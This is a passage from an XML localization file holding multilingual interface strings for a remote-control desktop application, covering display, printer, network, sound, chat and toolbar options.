<de>Wenn der Bildschirm des Ferncomputers inaktiv wird, werden Graustufen angezeigt. Die ursprünglichen Farbeinstellungen werden wiederhergestellt, wenn der Bildschirm wieder aktiviert wird.</de>
<es>Si la pantalla remota se desactiva, la pantalla se mostrará en escala de grises Los ajustes originales de color se restaurarán cuando se vuelva a activar la pantalla.</es>
<fr>Si l'écran distant devient inactif, l'affichage passera à l'échelle de gris. Les paramètres de couleur d'origine seront restaurés lorsque l'écran sera de nouveau actif.</fr>
<it>Se lo schermo remoto diventa inattivo, viene attivata la modalità scala di grigi. Le impostazioni iniziali del colore vengono ripristinate quando lo schermo torna attivo.</it>
<ru>Если удаленный экран неактивен, экран переключится к изображению оттенков серого.  Исходные настройки цвета восстановятся при активации экрана.</ru>
<ja>リモート画面が無効になると、ディスプレイがグレースケールに切り替わります。画面が再度有効になると、元のカラー設定が復元されます。</ja>
<zh>如果远程画面停止活动,则将切换为灰度显示。当再次激活该画面时,将恢复原来的颜色设置。</zh>
<ko>원격 화면이 비활성화되면 디스플레이가 그레이스케일로 전환됩니다. 화면이 다시 활성화되면 원래 색상 설정이 복원됩니다.</ko>
<hu>Ha a távoli képernyő inaktívvá válik, a kijelző szürkeárnyalatosra vált át. Az eredeti színbeállítások visszaállnak, ha a képernyő ismét aktiválódik.</hu>
<pt-br>Se a tela remota ficar inativa, a exibição alternará para escala de cinza. As configurações de cor originais serão restauradas quando a tela for ativada novamente.</pt-br>
<nl>Wanneer het scherm van de externe computer niet meer is geactiveerd, wordt overgeschakeld naar een weergave in grijstinten. De oorspronkelijke kleureninstellingen worden hersteld wanneer de scherm opnieuw wordt geactiveerd.</nl>
</msg>
</cat>
<cat name="RESPANEL">
<msg name="PANELNAME">
<en>Resolution Settings</en>
<de>Auflösungseinstellungen</de>
<es>Ajustes de resolución</es>
<fr>Paramètres de résolution</fr>
<it>Impostazioni risoluzione</it>
<ru>Настройки разрешения</ru>
<ja>解像度設定</ja>
<ko>해상도 설정</ko>
<hu>Felbontás-beállítások</hu>
<pt-br>Configurações de resolução</pt-br>
<zh>分辨率设置</zh>
<nl>Instellingen voor de resolutie</nl>
</msg>
<msg name="MATCHRES">
<en>Match Resolution</en>
<es>Ajustar resolución</es>
<fr>Adapter la résolution</fr>
<de>Auflösung anpassen</de>
<it>Adatta a risoluzione corrispondente</it>
<ru>Согласовать разрешение</ru>
<ja>解像度を照合</ja>
<zh>匹配分辨率</zh>
<ko>해상도 일치</ko>
<en-gb>Match Resolution</en-gb>
<hu>Felbontás egyeztetése</hu>
<pt-br>Corresponder resolução</pt-br>
<nl>Resolutie afstemmen</nl>
</msg>
</cat>
<cat name="VIEWPANEL">
<msg name="PANELNAME">
<en>View</en>
<de>Ansicht</de>
<es>Ver</es>
<fr>Affichage</fr>
<it>Visualizza</it>
<ru>Вид</ru>
<ja>表示</ja>
<zh>视图</zh>
<ko>보기</ko>
<en-gb>View</en-gb>
<hu>Nézet</hu>
<pt-br>Exibir</pt-br>
<nl>Beeld</nl>
</msg>
<msg name="SCALETOFIT">
<en>Scale To Fit</en>
<de>Anzeige anpassen</de>
<es>Ajustar al máximo</es>
<fr>Ajuster</fr>
<it>Adatta</it>
<ru>Масштабирование</ru>
<ja>画面にフィットするように拡大する</ja>
<ko>크기에 맞게 배율 조정</ko>
<hu>Megfelelő méretre állítás</hu>
<pt-br>Dimensionar para caber</pt-br>
<zh>调整为合适大小</zh>
<nl>Geschaald passend maken</nl>
</msg>
<msg name="ACTUALSIZE">
<en>Actual Size</en>
<es>Tamaño real</es>
<fr>Afficher la taille actuelle</fr>
<de>Tatsächliche Größe</de>
<it>Dimensioni reali</it>
<ru>Реальный размер</ru>
<ja>原寸大のサイズ</ja>
<zh>实际大小</zh>
<ko>실제 크기</ko>
<en-gb>Actual Size</en-gb>
<hu>Teljes méret</hu>
<pt-br>Tamanho real</pt-br>
<nl>Ware grootte</nl>
</msg>
<msg name="ZOOMIN">
<en>Zoom In</en>
<de>Vergrößern</de>
<es>Acercar</es>
<fr>Zoom avant</fr>
<it>Zoom avanti</it>
<ru>Крупнее</ru>
<ja>ズーム イン</ja>
<zh>放大</zh>
<ko>확대</ko>
<en-gb>Zoom In</en-gb>
<hu>Nagyítás</hu>
<pt-br>Aplicar mais zoom</pt-br>
<nl>Inzoomen</nl>
</msg>
<msg name="ZOOMOUT">
<en>Zoom Out</en>
<de>Verkleinern</de>
<es>Alejar</es>
<fr>Zoom arrière</fr>
<it>Zoom indietro</it>
<ru>Мельче</ru>
<ja>ズーム アウト</ja>
<zh>缩小</zh>
<ko>축소</ko>
<en-gb>Zoom Out</en-gb>
<hu>Kicsinyítés</hu>
<pt-br>Aplicar menos zoom</pt-br>
<nl>Uitzoomen</nl>
</msg>
<msg name="CUSTOMZOOM">
<en>Custom Zoom</en>
<de>Benutzerdefinierter Zoom</de>
<es>Zoom personalizado</es>
<fr>Zoom personnalisé</fr>
<it>Personalizza zoom</it>
<ru>Изменить масштаб изображения</ru>
<ja>カスタム ズーム</ja>
<ko>사용자 확대/축소</ko>
<hu>Egyéni nagyítás</hu>
<pt-br>Zoom personalizado</pt-br>
<zh>自定义缩放</zh>
<nl>In-/uitzoomen aanpassen</nl>
</msg>
</cat>
<cat name="PRINTERPANEL">
<msg name="PANELNAME">
<en>Select a client-side printer</en>
<es>Opciones de impresión remota</es>
<de>Optionen für das Drucken von Remotedateien</de>
<fr>Options d'impression à distance</fr>
<it>Opzioni di stampa remota</it>
<ru>Параметры удаленной печати</ru>
<ja>リモート印刷オプション</ja>
<zh>远程打印选项</zh>
<ko>원격 인쇄 옵션</ko>
<en-gb>Select a client-side printer</en-gb>
<hu>Távnyomtatás beállításai</hu>
<pt-br>Opções de impressão remota</pt-br>
<nl>Opties voor afdrukken op afstand</nl>
</msg>
<msg name="UNCONNECT">
<en>Unconnect printers</en>
<es>Desconectar impresoras</es>
<de>Drucker trennen</de>
<fr>Déconnecter les imprimantes</fr>
<it>Disconnetti stampanti</it>
<ru>Отключить принтеры</ru>
<ja>プリンタを切断する</ja>
<zh>未连接的打印机</zh>
<ko>프린터 연결 해제</ko>
<en-gb>Unconnect printers</en-gb>
<hu>Nyomtatók leválasztása</hu>
<pt-br>Desconectar impressoras</pt-br>
<nl>Verbinding met printers verbreken</nl>
</msg>
<msg name="DEFAULTNAME">
<en>(default)</en>
<es>(predeterminado)</es>
<de>(Standard)</de>
<fr>(par défaut)</fr>
<it>(predefinito)</it>
<ru>(по умолчанию)</ru>
<ja>(デフォルト)</ja>
<zh>(默认名称)</zh>
<ko>(기본 이름)</ko>
<en-gb>(default)</en-gb>
<hu>(alapértelmezett)</hu>
<pt-br>(padrão)</pt-br>
<nl>(standaard)</nl>
</msg>
</cat>
<cat name="NETWORKPANEL">
<msg name="PANELNAME">
<en>Network Connection Options</en>
<de>Optionen für die Netzwerkverbindung</de>
<es>Opciones de conexión de red</es>
<fr>Options de connexion réseau</fr>
<it>Opzioni di connessione di rete</it>
<ru>Опции сетевого подключения</ru>
<ja>ネットワーク接続オプション</ja>
<ko>네트워크 연결 옵션</ko>
<hu>Hálózati csatlakozás-beállítások</hu>
<pt-br>Opções de conexão de rede</pt-br>
<zh>网络连接选项</zh>
<nl>Opties voor de netwerkverbinding</nl>
</msg>
<msg name="SLOW">
<en>Slow (WAN, slower than 10MBit)</en>
<de>Langsam (WAN, langsamer als 10 Mbit)</de>
<es>Lenta (WAN, menos de 10 MB)</es>
<fr>Lent (Réseau large, vitesse inférieure à 10 Mbits)</fr>
<it>Lenta (WAN, inferiore a 10 MBit)</it>
<ru>Медленно (WAN, медленнее, чем 10 Мбит)</ru>
<ja>低速 (WAN、10 メガビット未満)</ja>
<ko>느림(WAN, 10Mbit 미만)</ko>
<hu>Lassú (WAN, 10MBit-nél lassúbb)</hu>
<pt-br>Lento (WAN, mais lento que 10MBit)</pt-br>
<zh>慢(WAN,低于 10 Mb)</zh>
<nl>Traag (WAN, trager dan 10 Mbit)</nl>
</msg>
<msg name="FAST">
<en>Fast (LAN, 10Mbit or faster)</en>
<de>Schnell (LAN, 10 Mbit oder schneller)</de>
<es>Rápida (LAN, 10 MB o más)</es>
<fr>Rapide (Réseau local, 10 Mbits ou plus rapide)</fr>
<it>Veloce (LAN, 10 MBit o più veloce)</it>
<ru>Быстро (LAN, 10 Мбит или быстрее)</ru>
<ja>高速 (LAN、10 メガビット以上)</ja>
<ko>빠름(LAN, 10Mbit 이상)</ko>
<hu>Gyors (LAN, 10 MBit vagy ennél gyorsabb)</hu>
<pt-br>Rápido (LAN, 10Mbit ou mais rápido)</pt-br>
<zh>快(LAN,10 Mb 或更快)</zh>
<nl>Snel (LAN, 10 Mbit of sneller)</nl>
</msg>
<msg name="AUTO">
<en>Auto (recommended)</en>
<de>Automatisch (empfohlen)</de>
<es>Automática (recomendada)</es>
<fr>Auto (recommandé)</fr>
<it>Automatica (consigliata)</it>
<ru>Обычная (рекомендуется)</ru>
<ja>自動 (推奨)</ja>
<ko>자동(권장)</ko>
<hu>Automatikus (javasolt)</hu>
<pt-br>Automático (recomendado)</pt-br>
<zh>自动(建议)</zh>
<nl>Automatisch (aanbevolen)</nl>
</msg>
</cat>
<cat name="SOUNDPANEL">
<msg name="PANELNAME">
<en>Sound Settings</en>
<de>Klangeinstellungen</de>
<es>Ajustes de sonido</es>
<fr>Paramètres de son</fr>
<it>Impostazioni audio</it>
<ru>Настройки звука</ru>
<ja>サウンド設定</ja>
<ko>사운드 설정</ko>
<hu>Hangbeállítások</hu>
<pt-br>Configurações de som</pt-br>
<zh>声音设置</zh>
<nl>Geluidsinstellingen</nl>
</msg>
<msg name="ENABLESOUND">
<en>Enable Remote Sound</en>
<de>Tonübertragung vom Ferncomputer</de>
<es>Habilitado sonido remoto</es>
<fr>Activé son à distance</fr>
<it>Attivato audio remoto</it>
<ru>Включено удаленный звук</ru>
<ja>リモート サウンド</ja>
<zh>远程声音</zh>
<ko>원격 사운드</ko>
<hu>Távhang bekapcsolás</hu>
<pt-br>Habilitar som remoto</pt-br>
<nl>Extern geluid inschakelen</nl>
</msg>
<msg name="OVOLUME">
<en>Output Volume:</en>
<de>Lautstärke:</de>
<es>Volumen de salida:</es>
<fr>Volume de sortie :</fr>
<it>Volume in uscita:</it>
<ru>Звук на выходе:</ru>
<ja>出力量 :</ja>
<ko>출력 볼륨:</ko>
<hu>Kimeneti hangerő:</hu>
<pt-br>Volume de saída:</pt-br>
<zh>输出音量:</zh>
<nl>Volume voor uitgang:</nl>
</msg>
<msg name="QUALITY">
<en>Quality:</en>
<de>Qualität:</de>
<es>Calidad:</es>
<fr>Qualité :</fr>
<it>Qualità:</it>
<ru>Качество:</ru>
<ja>クオリティ (質):</ja>
<ko>품질:</ko>
<hu>Minőség:</hu>
<pt-br>Qualidade:</pt-br>
<zh>音质:</zh>
<nl>Kwaliteit:</nl>
</msg>
<msg name="LOW">
<en>Low</en>
<de>Niedrig</de>
<es>Bajo</es>
<fr>Bas</fr>
<it>Bassa</it>
<ru>Низкий</ru>
<ja>低い</ja>
<zh>低</zh>
<ko>낮음</ko>
<en-gb>Low</en-gb>
<hu>Alacsony</hu>
<pt-br>Baixo</pt-br>
<nl>Laag</nl>
</msg>
<msg name="HIGH">
<en>High</en>
<de>Hoch</de>
<es>Alto</es>
<fr>Hauteur</fr>
<it>Alta</it>
<ru>Высокий</ru>
<ja>高い</ja>
<zh>高</zh>
<ko>높음</ko>
<en-gb>High</en-gb>
<hu>Magas</hu>
<pt-br>Alto</pt-br>
<nl>Hoog</nl>
</msg>
<msg name="ADVANCED">
<en>Advanced</en>
<de>Erweitert</de>
<es>Avanzado</es>
<fr>Avancé</fr>
<it>Avanzate</it>
<ru>Дополнительно</ru>
<ja>詳細</ja>
<ko>고급</ko>
<hu>Speciális</hu>
<pt-br>Avançado</pt-br>
<zh>高级</zh>
<nl>Geavanceerd</nl>
</msg>
<msg name="PLAYBACKDEV">
<en>Sound playback device:</en>
<de>Tonwiedergabegerät:</de>
<es>Dispositivo de reproducción de sonidos:</es>
<fr>Périphérique de lecture du son :</fr>
<it>Dispositivo di riproduzione audio:</it>
<ru>Звуковоспроизводящее устройство:</ru>
<ja>音声の再生デバイス:</ja>
<ko>사운드 재생 장치:</ko>
<hu>Hanglejátszó eszköz:</hu>
<pt-br>Dispositivo de reprodução de som:</pt-br>
<zh>声音播放设备:</zh>
<nl>Apparaat voor afspelen van geluid:</nl>
</msg>
</cat>
<cat name="CHAT">
<msg name="SEND">
<en>Send</en>
<de>Senden</de>
<es>Enviar</es>
<fr>Envoyer</fr>
<it>Invia</it>
<ru>Отправить</ru>
<ja>送信</ja>
<zh>发送</zh>
<ko>보내기</ko>
<en-gb>Send</en-gb>
<hu>Küldés</hu>
<pt-br>Enviar</pt-br>
<nl>Verzenden</nl>
</msg>
<msg name="ENDCHAT">
<en>End Chat</en>
<de>Dialog beenden</de>
<es>Finalizar conversación</es>
<fr>Terminer la session de messagerie instantanée</fr>
<it>Termina chat</it>
<ru>Завершить чат</ru>
<ja>チャットを終了する</ja>
<ko>대화 종료</ko>
<hu>Beszélgetés vége</hu>
<pt-br>Encerrar bate-papo</pt-br>
<zh>结束聊天</zh>
<nl>Chatsessie beëindigen</nl>
</msg>
</cat>
<cat name="TOOLBAR">
<msg name="EXIT.AREYOUSURE.HEAD">
<en>%PRODUCTNAME</en>
<de>%PRODUCTNAME</de>
<es>%PRODUCTNAME</es>
<fr>%PRODUCTNAME</fr>
<it>%PRODUCTNAME</it>
<ru>%PRODUCTNAME</ru>
<ja>%PRODUCTNAME</ja>
<zh>%PRODUCTNAME</zh>
<ko>%PRODUCTNAME</ko>
<en-gb>%PRODUCTNAME</en-gb>
<hu>%PRODUCTNAME</hu>
<pt-br>%PRODUCTNAME</pt-br>
<nl>%PRODUCTNAME</nl>
</msg>
<msg name="EXIT.AREYOUSURE.BODY">
<en>Are you sure you want to end remote control?</en>
<de>Sind Sie sicher, dass Sie die Fernsteuerung beenden möchten?</de>
<es>¿Está seguro de que desea finalizar el control remoto?</es>
<fr>Voulez-vous vraiment mettre fin au contrôle à distance ?</fr>
<it>Terminare la sessione di controllo remoto?</it>
<ru>Завершить сеанс удаленного управления?</ru>
<ja>リモート制御を終了しますか?</ja>
<zh>是否确定要结束远程控制?</zh>
<ko>원격 제어를 종료하시겠습니까?</ko>
<hu>Biztosan befejezi a távvezérlést?</hu>
<pt-br>Tem certeza de que deseja encerrar o controle remoto?</pt-br>
<nl>Weet u zeker dat u de besturing op afstand wilt beëindigen?</nl>
</msg>
<msg name="BUTTON.OPTIONS">
<en>Options</en>
<de>Optionen</de>
<es>Opciones</es>
<fr>Options</fr>
<it>Opzioni</it>
<ru>Параметры</ru>
<ja>オプション</ja>
<zh>选项</zh>
<ko>옵션</ko>
<en-gb>Options</en-gb>
<hu>Lehetőségek</hu>
<pt-br>Opções</pt-br>
<nl>Opties</nl>
</msg>
<cat name="TOOLTIP">
<msg name="QLINKS.HEAD">
<en>Customize Toolbar</en>
<fr>Personnaliser la barre d'outils</fr>
<es>Personalizar barra de herramientas</es>
<de>Symbolleiste anpassen</de>
<it>Personalizza barra degli strumenti</it>
<nl>Werkbalk aanpassen</nl>
<pt-br>Personalizar a barra de ferramentas</pt-br>
<zh>自定义工具栏</zh>
<ru>Настроить панель инструментов</ru>
<ja>ツールバーをカスタマイズする</ja>
<ko>사용자 정의 도구 모음</ko>
<hu>Eszköztár testre szabása</hu>
<en-gb>Customize Toolbar</en-gb>
</msg>
<msg name="QLINKS.BODY">
<en>Customize the toolbar for quick access to commonly used features.</en>
<fr>Personnalisez la barre d'outils pour un accès rapide à vos fonctionnalités préférées.</fr>
<es>Personalice la barra de herramientas para acceder de forma rápida a las funciones que más utiliza.</es>
<de>Sie können die Symbolleiste anpassen, um schnellen Zugriff auf häufig verwendete Funktionen zu erhalten.</de>
<it>Personalizza la barra degli strumenti per accedere rapidamente alle funzioni più usate.</it>
<nl>Pas de werkbalk aan voor snelle toegang tot veelgebruikte functies.</nl>
<pt-br>Personalize a barra de ferramentas para acesso rápido a recursos comumente usados.</pt-br>
<zh>自定义工具栏,以便快速访问常用的功能。</zh>
<ru>Настройка панели инструментов для быстрого доступа к часто используемым функциям.</ru>
<ja>ツールバーをカスタマイズして、よく利用する機能をすばやく呼び出せるようにします。</ja>
<ko>일반적으로 사용하는 기능에 빠르게 액세스하기 위해 도구 모음을 사용자 정의할 수 있습니다.</ko>
<hu>A gyakran használt funkciók gyors eléréséhez testre szabhatja az eszköztárat.</hu>
</msg>
<msg name="QLINKS.BODY1">
<en>Choose features to add to the toolbar.</en>
<fr>Sélectionnez les fonctionnalités à ajouter à la barre d'outils.</fr>
<es>Seleccione funciones para añadir a la barra de herramientas.</es>
<de>Wählen Sie, welche Funktionen in der Symbolleiste angezeigt werden sollen.</de>
<it>Scegliere le funzioni da aggiungere alla barra degli strumenti.</it>
<nl>Selecteer functies om aan de werkbalk toe te voegen.</nl>
<pt-br>Escolha os recursos a adicionar à barra de ferramentas.</pt-br>
<zh>选择要添加到此工具栏的功能。</zh>
<ru>Выбор функций для добавления на панель инструментов.</ru>
<ja>ツールバーに追加する機能を選びます。</ja>
<ko>도구 모음에 추가할 기능을 선택하십시오.</ko>
<hu>Eszköztárhoz hozzárendelni kívánt funkciók kiválasztása.</hu>
</msg>
<msg name="HELP">
<en>Help</en>
<fr>Aide</fr>
<es>Ayuda</es>
<de>Hilfe</de>
<it>Guida</it>
<nl>Help</nl>
<pt-br>Ajuda</pt-br>
<zh>帮助</zh>
<ru>Справка</ru>
<ja>ヘルプ</ja>
<ko>도움말</ko>
<hu>Súgó</hu>
</msg>
<msg name="OPTIONSOFF">
<en>Hide the remote control options</en>
<de>Fernsteuerungsoptionen ausblenden</de>
<es>Esconder las opciones de control remoto</es>
<fr>Masquer les options de contrôle à distance</fr>
<it>Nascondi le opzioni di controllo remoto</it>
<ru>Скрыть опции удаленного управления</ru>
<ja>リモート制御オプションを非表示にする</ja>
<ko>원격 제어 옵션을 숨깁니다.</ko>
<hu>Távoli vezérlés opciók elrejtése</hu>
<pt-br>Ocultar as opções de controle remoto</pt-br>
<zh>隐藏远程控制选项</zh>
<nl>De opties voor de besturing op afstand verbergen</nl>
</msg>
<msg name="OPTIONSON">
<en>More remote control options</en>
<de>Weitere Fernsteuerungsoptionen</de>
<es>Más opciones de control remoto</es>
<fr>Plus d'options de contrôle à distance</fr>
<it>Altre opzioni di controllo remoto</it>
<ru>Дополнительные опции удаленного управления</ru>
<ja>ほかのリモート制御オプション</ja>
<ko>추가 원격 제어 옵션</ko>
<hu>További távoli vezérlés opciók</hu>
<pt-br>Mais opções de controle remoto</pt-br>
<zh>更多远程控制选项</zh>
<nl>Meer opties voor de besturing op afstand</nl>
</msg>
<msg name="MUTE">
<en>Mute remote sound</en>
<fr>Couper le son distant</fr>
<es>Silenciar sonido remoto</es>
<de>Ferncomputer stumm schalten</de>
<it>Disattiva l'audio remoto</it>
<nl>Extern geluid dempen</nl>
<pt-br>Desativar som remoto</pt-br>
<zh>将远程声音设为静音</zh>
<ru>Отключение звука удаленного компьютера</ru>
<ja>リモート サウンドの音を消す</ja>
<ko>원격 사운드 음소거</ko>
<hu>Távoli hang elnémítása</hu>
</msg>
<msg name="UNMUTE">
<en>Unmute remote sound</en>
<fr>Activer le son distant</fr>
<es>Activar sonido remoto</es>
<de>Ferncomputer-Stummschaltung aufheben</de>
<it>Riattiva l'audio remoto</it>
<nl>Extern geluid opnieuw inschakelen</nl>
<pt-br>Ativar som remoto</pt-br>
<zh>取消将远程声音设为静音</zh>
<ru>Включение звука удаленного компьютера</ru>
<ja>リモート サウンドの音を出す</ja>
<ko>원격 사운드 음소거 해제</ko>
<hu>Távoli hang visszakapcsolása</hu>
</msg>
<msg name="CONNDRV.HEAD">
<en>Connect Drives</en>
<de>Laufwerke verbinden</de>
<es>Conectar unidades</es>
<fr>Connecter des lecteurs</fr>
<it>Connetti unità</it>
<ru>Подключить диски</ru>
<ja>ドライブを接続</ja>
<ko>드라이브 연결</ko>
<zh>连接驱动器</zh>
<hu>Meghajtók csatlakoztatása</hu>
<pt-br>Conectar unidades</pt-br>
<nl>Stations koppelen</nl>
</msg>
<msg name="CONNDRV.BODY">
<en>Connect client-side drives to the host.</en>
<fr>Connecter les disques côté client à l'hôte.</fr>
<es>Conecte las unidades del cliente al host.</es>
<de>Sie können clientseitige Laufwerke mit dem Host verbinden.</de>
<it>Connette le unità lato client all'host.</it>
<nl>Schijfstations van de client met de host verbinden.</nl>
<pt-br>Conecte as unidades do lado do cliente ao host.</pt-br>
<zh>将客户端驱动器连接到主机。</zh>
<ru>Подключение клиентских дисков к хосту.</ru>
<ja>クライアント側のドライブをホストに接続します。</ja>
<ko>클라이언트측 드라이브를 호스트에 연결할 수 있습니다.</ko>
<hu>Kliensoldali meghajtók csatlakoztatása a gazdagéphez.</hu>
</msg>
<msg name="SYNCCLIPBOARD.HEAD">
<en>Sync Clipboard</en>
<de>Zwischenablage synchronisieren</de>
<es>Sincronizar portapapeles</es>
<fr>Synchroniser le presse-papiers</fr>
<it>Sincronizza Appunti</it>
<ru>Синхронизировать буфер обмена</ru>
<ja>同期クリップボード</ja>
<ko>클립보드 동기화</ko>
<hu>Vágólap szinkronizálása</hu>
<pt-br>Sincronizar área de transferência</pt-br>
<zh>同步剪贴板</zh>
<nl>Klembord synchroniseren</nl>
</msg>
<msg name="SYNCCLIPBOARD.BODY">
<en>When checked, anything copied on either device is available to be pasted to the other.</en>
<fr>Cochez cette option pour que tout ce qui est copié sur un périphérique puisse être collé sur l'autre.</fr>
<es>Al realizarse, lo que esté copiado en uno de los dispositivos se podrá pegar en el otro.</es>
<de>Wenn diese Option aktiviert ist, können alle auf einem Gerät in die Zwischenablage kopierten Inhalte auf das andere Gerät übertragen werden.</de>
<it>Selezionando questa opzione, qualsiasi elemento copiato da uno dei dispositivi sarà disponibile per essere incollato nell'altro.</it>
<nl>Indien geselecteerd, dan is alles wat op de ene computer wordt gekopieerd, beschikbaar voor plakken op de andere computer.</nl>
<pt-br>Quando esta opção está selecionada, tudo copiado em um dispositivo fica disponível para ser copiado em outro.</pt-br>
<zh>选中时,可以将在一个设备上复制的内容粘贴到另一个设备。</zh>
<ru>Когда установлен этот флажок, любые элементы, скопированные в буфер обмена на одном устройстве, можно вставить на другом устройстве.</ru>
<ja>チェックすると、一方のデバイスでコピーしたものをもう一方に貼り付けることができます。</ja>
<ko>선택하면 각 장치에 복사된 모든 클립보드를 다른 클립보드에 붙여넣을 수 있습니다.</ko>
<hu>Ha be van jelölve, akkor bármi, amit az egyik eszközre másol, beilleszthető a másikra.</hu>
</msg>
<msg name="BLANKSCREEN.HEAD">
<en>Blank Screen</en>
<de>Leeren Bildschirm anzeigen</de>
<es>Pantalla sin contenido</es>
<fr>Ecran masqué</fr>
<it>Cancella contenuto dello schermo</it>
<ru>Очистить экран</ru>
<ja>空白画面</ja>
<zh>黑屏</zh>
<ko>빈 화면</ko>
<en-gb>Blank screen</en-gb>
<hu>Üres képernyő</hu>
<pt-br>Tela em branco</pt-br>
<nl>Scherm uitschakelen</nl>
</msg>
<msg name="BLANKSCREEN.BODY">
<en>Blank the host display to prevent host-side users from seeing your work.</en>
<fr>Occultez l'affichage de l'hôte pour empêcher les utilisateurs côté client de voir ce que vous faites.</fr>
<es>Oculte el contenido de la pantalla del host para evitar que los usuarios de éste vean su trabajo.</es>
<de>Sie können den Host-Bildschirm ausschalten, damit hostseitige Benutzer nicht sehen können, was Sie gerade tun.</de>
<it>Cancella il contenuto dello schermo host per impedire agli utenti lato host di vedere quello che si sta facendo.</it>
<nl>Schakel het scherm van de host uit, om te voorkomen dat gebruikers van de host uw werk kunnen zien.</nl>
<pt-br>Deixe branca a tela do host para evitar que usuários do lado do host vejam o seu trabalho.</pt-br>
<zh>使主机黑屏,防止主机端用户看到您的操作。</zh>
<ru>Очистка экрана хоста, чтобы пользователи хоста не видели вашу работу.</ru>
<ja>ホスト側のディスプレイを消去して、ホスト側のユーザから画面が見えないようにします。</ja>
<ko>호스트 측 사용자가 현재 진행 중인 작업을 볼 수 없도록 호스트 디스플레이를 비울 수 있습니다.</ko>
<hu>A gazdagép kijelzőjét elsötétítve elkerülheti, hogy a gazdagép-oldali felhasználók láthassák, hogy Ön éppen mit csinál.</hu>
</msg>
<msg name="LOCKKB.HEAD">
<en>Lock Keyboard and Mouse</en>
<de>Tastatur und Maus sperren</de>
<es>Bloquear teclado y ratón</es>
<fr>Verrouiller le clavier et la souris</fr>
<it>Blocca tastiera e mouse</it>
<ru>Заблокировать клавиатуру и мышь</ru>
<ja>キーボードとマウスをロック</ja>
<ko>키보드 및 마우스 잠금</ko>
<hu>Billentyűzet és egér lezárása</hu>
<pt-br>Travar teclado e mouse</pt-br>
<zh>锁定键盘和鼠标</zh>
<nl>Toetsenbord en muis vergrendelen</nl>
</msg>
<msg name="LOCKKB.BODY">
<en>Lock the host keyboard and mouse to prevent a host-side user from entering data.</en>
<fr>Verrouillez le clavier et la souris de l'hôte pour empêcher la saisie côté client.</fr>
<es>Bloquee el teclado y el ratón del host para evitar que el usuario de éste introduzca datos.</es>
<de>Sie können die Tastatur und die Maus des Hostcomputers sperren, damit der hostseitige Benutzer keine Daten eingeben kann.</de>
<it>Blocca la tastiera e il mouse host per impedire agli utenti lato host di immettere dati.</it>
<nl>Vergrendel het toetsenbord en de muis van de host om te voorkomen dat gebruikers van de host gegevens invoeren.</nl>
<pt-br>Bloqueie o teclado e o mouse do host para evitar que um usuário do lado do host insira dados.</pt-br>
<zh>锁定主机键盘和鼠标,防止主机端用户输入数据。</zh>
<ru>Блокировка клавиатуры и мыши хоста, чтобы пользователи хоста не могли вводить данные.</ru>
<ja>ホストのキーボードとマウスをロックして、ホスト側のユーザがデータを入力できないようにします。</ja>
<ko>호스트 측 사용자가 데이터를 입력하지 못하도록 호스트 키보드 및 마우스를 잠글 수 있습니다.</ko>
<hu>A gazdagép billentyűzetének és egerének zárolásával megakadályozhatja a gazdagép-oldali felhasználók adatbevitelét.</hu>
</msg>
<msg name="CONNPRINTER.HEAD">
<en>Connect Printer</en>
<de>Drucker verbinden</de>
<es>Conectar impresora</es>
<fr>Connecter l'imprimante</fr>
<it>Collega stampante</it>
<ru>Подключение к принтеру</ru>
<ja>プリンタの接続</ja>
<ko>프린터 연결</ko>
<hu>Nyomtató csatlakoztatása</hu>
<pt-br>Conectar impressora</pt-br>
<zh>连接打印机</zh>
<nl>Printer koppelen</nl>
</msg>
<msg name="CONNPRINTER.BODY">
<en>Print from the host computer to a printer connected to the client.</en>
<fr>Imprimez depuis l'ordinateur hôte sur une imprimante connectée au client.</fr>
<es>Imprima desde el ordenador host en una impresora conectada al cliente.</es>
<de>Sie können über den Hostcomputer auf einem mit dem Client verbundenen Drucker drucken.</de>
<it>Stampa dal computer host usando una stampante collegata al client.</it>
<nl>Maak afdrukken vanaf de host-computer op een printer die op de client is aangesloten.</nl>
<pt-br>Imprima do computador host para uma impressora conectada ao cliente.</pt-br>
<zh>在连接客户端的打印机上打印主机计算机上的内容。</zh>
<ru>Печать с хост-компьютера на принтер, подключенный к клиенту.</ru>
<ja>ホスト コンピュータから、クライアントに接続しているプリンタへ印刷できます。</ja>
<ko>호스트 컴퓨터에서 클라이언트에 연결된 프린터로 인쇄할 수 있습니다.</ko>
<hu>Nyomtatás a gazdaszámítógépről a klienshez csatlakoztatott nyomtatóra.</hu>
</msg>
<msg name="NETWORK.HEAD">
<en>Network</en>
<de>Netzwerk</de>
<es>Red</es>
<fr>Réseau</fr>
<it>Rete</it>
<ru>Сеть</ru>
<ja>ネットワーク</ja>
<zh>网络</zh>
<ko>네트워크</ko>
<en-gb>Network</en-gb>
<hu>Hálózat</hu>
<pt-br>Rede</pt-br>
<nl>Netwerk</nl>
</msg>
<msg name="NETWORK.BODY">
<en>Adjust your network connection speed to achieve optimal performance.</en>
<fr>Réglez la vitesse de votre connexion réseau pour optimiser les performances.</fr>
<es>Ajuste la velocidad de conexión a la red para obtener un rendimiento óptimo.</es>
<de>Sie können die Geschwindigkeit Ihrer Netzwerkverbindung anpassen, um eine optimale Leistung zu erzielen.</de>
<it>Regola la propria velocità di connessione alla rete per ottenere prestazioni ottimali.</it>
<nl>Pas de verbindingssnelheid van uw netwerk aan om een optimale prestatie te bereiken.</nl>
<pt-br>Ajuste a velocidade de conexão da rede para obter o desempenho ideal.</pt-br>
<zh>调整您的网络连接速度,以获得最优性能。</zh>
<ru>Настройка скорости подключения к сети для достижения оптимальной производительности.</ru>
<ja>ネットワーク接続の速度を調整して、パフォーマンスを最適化します。</ja>
<ko>최적의 성능을 위한 네트워크 연결 속도를 조정할 수 있습니다.</ko>
<hu>A hálózati kapcsolat sebességének beállításával optimális teljesítményt érhet el.</hu>
</msg>
<msg name="KEYBOARDLAYOUT.HEAD">
<en>Keyboard</en>
<de>Tastatur</de>
<es>Teclado</es>
<fr>Clavier</fr>
<it>Tastiera</it>
<ru>Клавиатура</ru>
<ja>キーボードの</ja>
<zh>键盘</zh>
<ko>키보드</ko>
<en-gb>Keyboard</en-gb>
<hu>Billentyűzet</hu>
<pt-br>Teclado</pt-br>
<nl>Toetsenbord</nl>
</msg>
<msg name="KEYBOARDLAYOUT.BODY">
<en>Use client layout: Y on client QWERTY is read as Y on host QWERTZ.\nUse host layout: Y on a client QWERTY is read as Z on the host QWERTZ.</en>
<de>Client-Layout verwenden: Y auf QWERTY-Tastatur des Clients bleibt Y auf QWERTZ-Host.\nHost-Layout verwenden: Y auf QWERTY-Tastatur des Clients wird Z auf QWERTZ-Host.</de>
